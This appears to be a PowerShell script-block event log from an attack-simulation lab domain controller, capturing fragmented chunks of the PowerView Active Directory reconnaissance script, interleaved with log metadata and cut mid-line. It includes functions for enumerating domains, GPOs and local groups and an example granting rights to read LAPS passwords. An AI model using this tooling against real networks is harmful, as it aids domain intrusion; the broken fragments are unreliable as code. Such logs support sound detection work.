$Entry.commitchanges() } catch { Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } if($PSBoundParameters['Clear']) { try { $PSBoundParameters['Clear'] | ForEach-Object { $PropertyName = $_ Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'" $Entry.$PropertyName.clear() } $Entry.commitchanges() } catch { Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_" } } } } } function ConvertFrom-LDAPLogonHours { <# .SYNOPSIS Converts the LDAP LogonHours array to a processible object. Author: Lee Christensen (@tifkin_) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Converts the LDAP LogonHours array to a processible object. Each entry property in the output object corresponds to a day of the week and hour during the day (in UTC) indicating whether or not the user can logon at the specified hour. .PARAMETER LogonHoursArray 21-byte LDAP hours array. .EXAMPLE $hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours ConvertFrom-LDAPLogonHours $hours Gets the logonhours array from the first AD user with logon restrictions. .OUTPUTS PowerView.LogonHours #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LogonHours')] [CmdletBinding()] Param ( [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [byte[]] $LogonHoursArray ) Begin { if($LogonHoursArray.Count -ne 21) { throw "LogonHoursArray is the incorrect length" } function ConvertTo-LogonHoursArray { Param ( [int[]] $HoursArr ) $LogonHours = New-Object bool[] 24 for($i=0; $i -lt 3; $i++) { $Byte = $HoursArr[$i] $Offset = $i * 8 $Str = [Convert]::ToString($Byte,2).PadLeft(8,'0') $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7]) $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6]) $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5]) $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4]) $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3]) $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2]) $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1]) $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0]) } $LogonHours } } Process { $Output = @{ Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2] Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5] Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8] Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11] Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14] Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17] Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20] } $Output = New-Object PSObject -Property $Output $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours') $Output } } function New-ADObjectAccessControlEntry { <# .SYNOPSIS Creates a new Active Directory object-specific access control entry. Author: Lee Christensen (@tifkin_) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Creates a new object-specific access control entry (ACE). The ACE could be used for auditing access to an object or controlling access to objects. .PARAMETER PrincipalIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain principal to add for the ACL. Required. Wildcards accepted. .PARAMETER PrincipalDomain Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. .PARAMETER PrincipalSearchBase The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Right Specifies the rights set on the Active Directory object. .PARAMETER AccessControlType Specifies the type of ACE (allow or deny) .PARAMETER AuditFlag For audit ACEs, specifies when to create an audit log (on success or failure) .PARAMETER ObjectType Specifies the GUID of the object that the ACE applies to. .PARAMETER InheritanceType Specifies how the ACE applies to the object and/or its children. .PARAMETER InheritedObjectType Specifies the type of object that can inherit the ACE. .EXAMPLE $Guids = Get-DomainGUIDMap $AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name $CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid $OU = Get-DomainOU -Raw Workstations $DsEntry = $OU.GetDirectoryEntry() $dsEntry.PsBase.Options.SecurityMasks = 'Dacl' $dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) $dsEntry.PsBase.CommitChanges() Adds an ACE to all computer objects in the OU "Workstations" permitting the user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property. .OUTPUTS System.Security.AccessControl.AuthorizationRule #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Security.AccessControl.AuthorizationRule')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] $PrincipalIdentity, [ValidateNotNullOrEmpty()] [String] $PrincipalDomain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $True)] [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] $Right, [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] [ValidateSet('Allow', 'Deny')] [String[]] $AccessControlType, [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')] [ValidateSet('Success', 'Failure')] [String] $AuditFlag, [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')] [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')] [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')] [Guid] $ObjectType, [ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')] [String] $InheritanceType, [Guid] $InheritedObjectType ) Begin { if ($PrincipalIdentity -notmatch '^S-1-.*') { $PrincipalSearcherArguments = @{ 'Identity' = $PrincipalIdentity 'Properties' = 'distinguishedname,objectsid' } if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundPard123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1 4104152150x0715402Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11Get-DomainOU57f011cb-e10d-4ee6-b8bb-772e09ffa355 4104132150x0715350Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local5555api32 RevertToSelf ([Bool]) @() -SetLastError), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Wtsapi32 = $Types['wtsapi32'] $Mpr = $Types['Mpr'] $Kernel32 = $Types['kernel32'] Set-Alias Get-IPAddress Resolve-IPAddress Set-Alias Convert-NameToSid ConvertTo-SID Set-Alias Convert-SidToName ConvertFrom-SID Set-Alias Request-SPNTicket Get-DomainSPNTicket Set-Alias Get-DNSZone Get-DomainDNSZone Set-Alias Get-DNSRecord Get-DomainDNSRecord Set-Alias Get-NetDomain Get-Domain Set-Alias Get-NetDomainController Get-DomainController Set-Alias Get-NetForest Get-Forest Set-Alias Get-NetForestDomain Get-ForestDomain Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog Set-Alias Get-NetUser Get-DomainUser Set-Alias Get-UserEvent Get-DomainUserEvent Set-Alias Get-NetComputer Get-DomainComputer Set-Alias Get-ADObject Get-DomainObject Set-Alias Set-ADObject Set-DomainObject Set-Alias Get-ObjectAcl Get-DomainObjectAcl Set-Alias Add-ObjectAcl Add-DomainObjectAcl Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl Set-Alias Get-GUIDMap Get-DomainGUIDMap Set-Alias Get-NetOU Get-DomainOU Set-Alias Get-NetSite Get-DomainSite Set-Alias Get-NetSubnet Get-DomainSubnet Set-Alias Get-NetGroup Get-DomainGroup Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup Set-Alias Get-NetGroupMember Get-DomainGroupMember Set-Alias Get-NetFileServer Get-DomainFileServer Set-Alias Get-DFSshare Get-DomainDFSShare Set-Alias Get-NetGPO Get-DomainGPO Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping Set-Alias Get-LoggedOnLocal Get-RegLoggedOn Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess Set-Alias Get-SiteName Get-NetComputerSiteName Set-Alias Get-Proxy Get-WMIRegProxy Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive Set-Alias Get-NetProcess Get-WMIProcess Set-Alias Invoke-ThreadedFunction New-ThreadedFunction Set-Alias Invoke-UserHunter Find-DomainUserLocation Set-Alias Invoke-ProcessHunter Find-DomainProcess Set-Alias Invoke-EventHunter Find-DomainUserEvent Set-Alias Invoke-ShareFinder Find-DomainShare Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember Set-Alias Get-NetDomainTrust Get-DomainTrust Set-Alias Get-NetForestTrust Get-ForestTrust Set-Alias Find-ForeignUser Get-DomainForeignUser Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping Set-Alias Get-DomainPolicy Get-DomainPolicyData 38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1 4104132150x0715332Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3755SBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['ComputerIdentity']) { $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' if (-not $Computers) { throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." } ForEach ($Computer in $Computers) { $GPOGuids = @() # extract any GPOs linked to this computer's OU through gpLink $DN = $Computer.distinguishedname $OUIndex = $DN.IndexOf('OU=') if ($OUIndex -gt 0) { $OUName = $DN.SubString($OUIndex) } if ($OUName) { $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } } # extract any GPOs linked to this computer's site through gpLink Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } } # process any GPO local group settings from the GPO GUID set $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { $GPOGroup = $_ if($GPOGroup.GroupMembers) { $GPOMembers = $GPOGroup.GroupMembers } else { $GPOMembers = $GPOGroup.GroupSID } $GPOMembers | ForEach-Object { $Object = Get-DomainObject @CommonArguments -Identity $_ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOComputerLocalGroupMember = New-Object PSObject $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember') $GPOComputerLocalGroupMember } } } } } } function Get-DomainPolicyData { <# .SYNOPSIS Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID .DESCRIPTION Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller using Get-DomainGPO. .PARAMETER Domain The domain to query for default policies, defaults to the current domain. .PARAMETER Policy Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies. Otherwise queries for the particular GPO name or GUID. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainPolicyData Returns the default domain policy for the current domain. .EXAMPLE Get-DomainPolicyData -Domain dev.testlab.local Returns the default domain policy for the dev.testlab.local domain. .EXAMPLE Get-DomainGPO | Get-DomainPolicy Parses any GptTmpl.infs found for any policies in the current domain. .EXAMPLE Get-DomainPolicyData -Policy DC -Domain dev.testlab.local Returns the policy for the dev.testlab.local domain controller. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainPolicyData -Credential $Cred .OUTPUTS Hashtable Ouputs a hashtable representing the parsed GptTmpl.inf file. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Source', 'Name')] [String] $Policy = 'Domain', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ConvertArguments = @{} if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain $ConvertArguments['Domain'] = $Domain } if ($Policy -eq 'All') { $SearcherArguments['Identity'] = '*' } elseif ($Policy -eq 'Domain') { $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}' } elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) { $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}' } else { $SearcherArguments['Identity'] = $Policy } $GPOResults = Get-DomainGPO @SearcherArguments ForEach ($GPO in $GPOResults) { # grab the GptTmpl.inf file and parse it $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" $ParseArgs = @{ 'GptTmplPath' = $GptTmplPath 'OutputObject' = $True } if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } # parse the GptTmpl.inf Get-GptTmpl @ParseArgs | ForEach-Object { $_ | Add-Member Noteproperty 'GPOName' $GPO.name $_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname $_ } } } } ######################################################## # # Functions that enumerate a single host, either through # WinNT, WMI, remote registry, or API calls # (with PSReflect). # ######################################################## function Get-NetLocalGroup { <# .SYNOPSIS Enumerates the local groups on the local (or remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect .DESCRIPTION This function will enumerate the names and descriptions for the local groups on the current, or remote, machine. By default, the Win32 API call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider to be used instead, which returns group SIDs along with the group names and descriptions/comments. .PARAMETER ComputerName Specifies the hostname to query for sessions (also accepts IP addresses). Defaults to the localhost. .PARAMETER Method The collection method to use, defaults to 'API', also accepts 'WinNT'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to a remote machine. Only applicable with "-Method WinNT". .EXAMPLE Get-NetLocalGroup ComputerName GroupName Comment ------------ --------- ------- WINDOWS1 Administrators Administrators have comple... WINDOWS1 Backup Operators Backup Operators can overr... WINDOWS1 Cryptographic Operators Members are authorized to ... ... .EXAMPLE Get-NetLocalGroup -Method Winnt ComputerName GroupName GroupSID Comment ------------ --------- -------- ------- WINDOWS1 Administrators S-1-5-32-544 Administrators hav... WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author... ... .EXAMPLE Get-NetLocalGroup -ComputerName primary.testlab.local ComputerName GroupName Comment ------------ --------- ------- primary.testlab.local Administrators Administrators have comple... primary.testlab.local Users Users are prevented from m... primary.testlab.local Guests Guests have the same acces... primary.testlab.local Print Operators Members can administer dom... primary.testlab.local Backup Operators Backup Operators can overr... .OUTPUTS PowerView.LocalGroup.API Custom PSObject with translated group property fields from API results. PowerView.LocalGroup.WinNT Custom PSObject with translated group property fields from WinNT results. .LINK https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LocalGroup.API')] [OutputType('PowerView.LocalGroup.WinNT')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [ValidateSet('API', 'WinNT')] [Alias('CollectionMethod')] [String] $Method = 'API', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { if ($Method -eq 'API') { # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information # arguments for NetLocalGroupEnum $QueryLevel = 1 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get the local user information $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # Work out how much to increment the pointer by finding out the size of the structure $Increment = $LOCALGROUP_INFO_1::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our r38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1 4104132150x0715331Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3655alidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] $LocalGroup = 'Administrators', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $CommonArguments = @{} if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } } PROCESS { $TargetSIDs = @() if ($PSBoundParameters['Identity']) { $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid $TargetObjectSID = $TargetSIDs if (-not $TargetSIDs) { Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" } } else { # no filtering/match all $TargetSIDs = @('*') } if ($LocalGroup -match 'S-1-5') { $TargetLocalSID = $LocalGroup } elseif ($LocalGroup -match 'Admin') { $TargetLocalSID = 'S-1-5-32-544' } else { # RDP $TargetLocalSID = 'S-1-5-32-555' } if ($TargetSIDs[0] -ne '*') { ForEach ($TargetSid in $TargetSids) { Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid } } Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { $GPOgroup = $_ # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID if ($GPOgroup.GroupSID -match $TargetLocalSID) { $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { $GPOgroup } } } # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { $GPOgroup } } } | Sort-Object -Property GPOName -Unique $GPOgroups | Where-Object {$_} | ForEach-Object { $GPOname = $_.GPODisplayName $GPOguid = $_.GPOName $GPOPath = $_.GPOPath $GPOType = $_.GPOType if ($_.GroupMembers) { $GPOMembers = $_.GroupMembers } else { $GPOMembers = $_.GroupSID } $Filters = $_.Filters if ($TargetSIDs[0] -eq '*') { # if the * wildcard was used, set the targets to all GPO members so everything it output $TargetObjectSIDs = $GPOMembers } else { $TargetObjectSIDs = $TargetObjectSID } # find any OUs that have this GPO linked through gpLink Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { if ($Filters) { $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname } else { $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname } if ($OUComputers) { if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOLocalGroupMapping = New-Object PSObject $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') $GPOLocalGroupMapping } } } # find any sites that have this GPO linked through gpLink Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOLocalGroupMapping = New-Object PSObject $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' 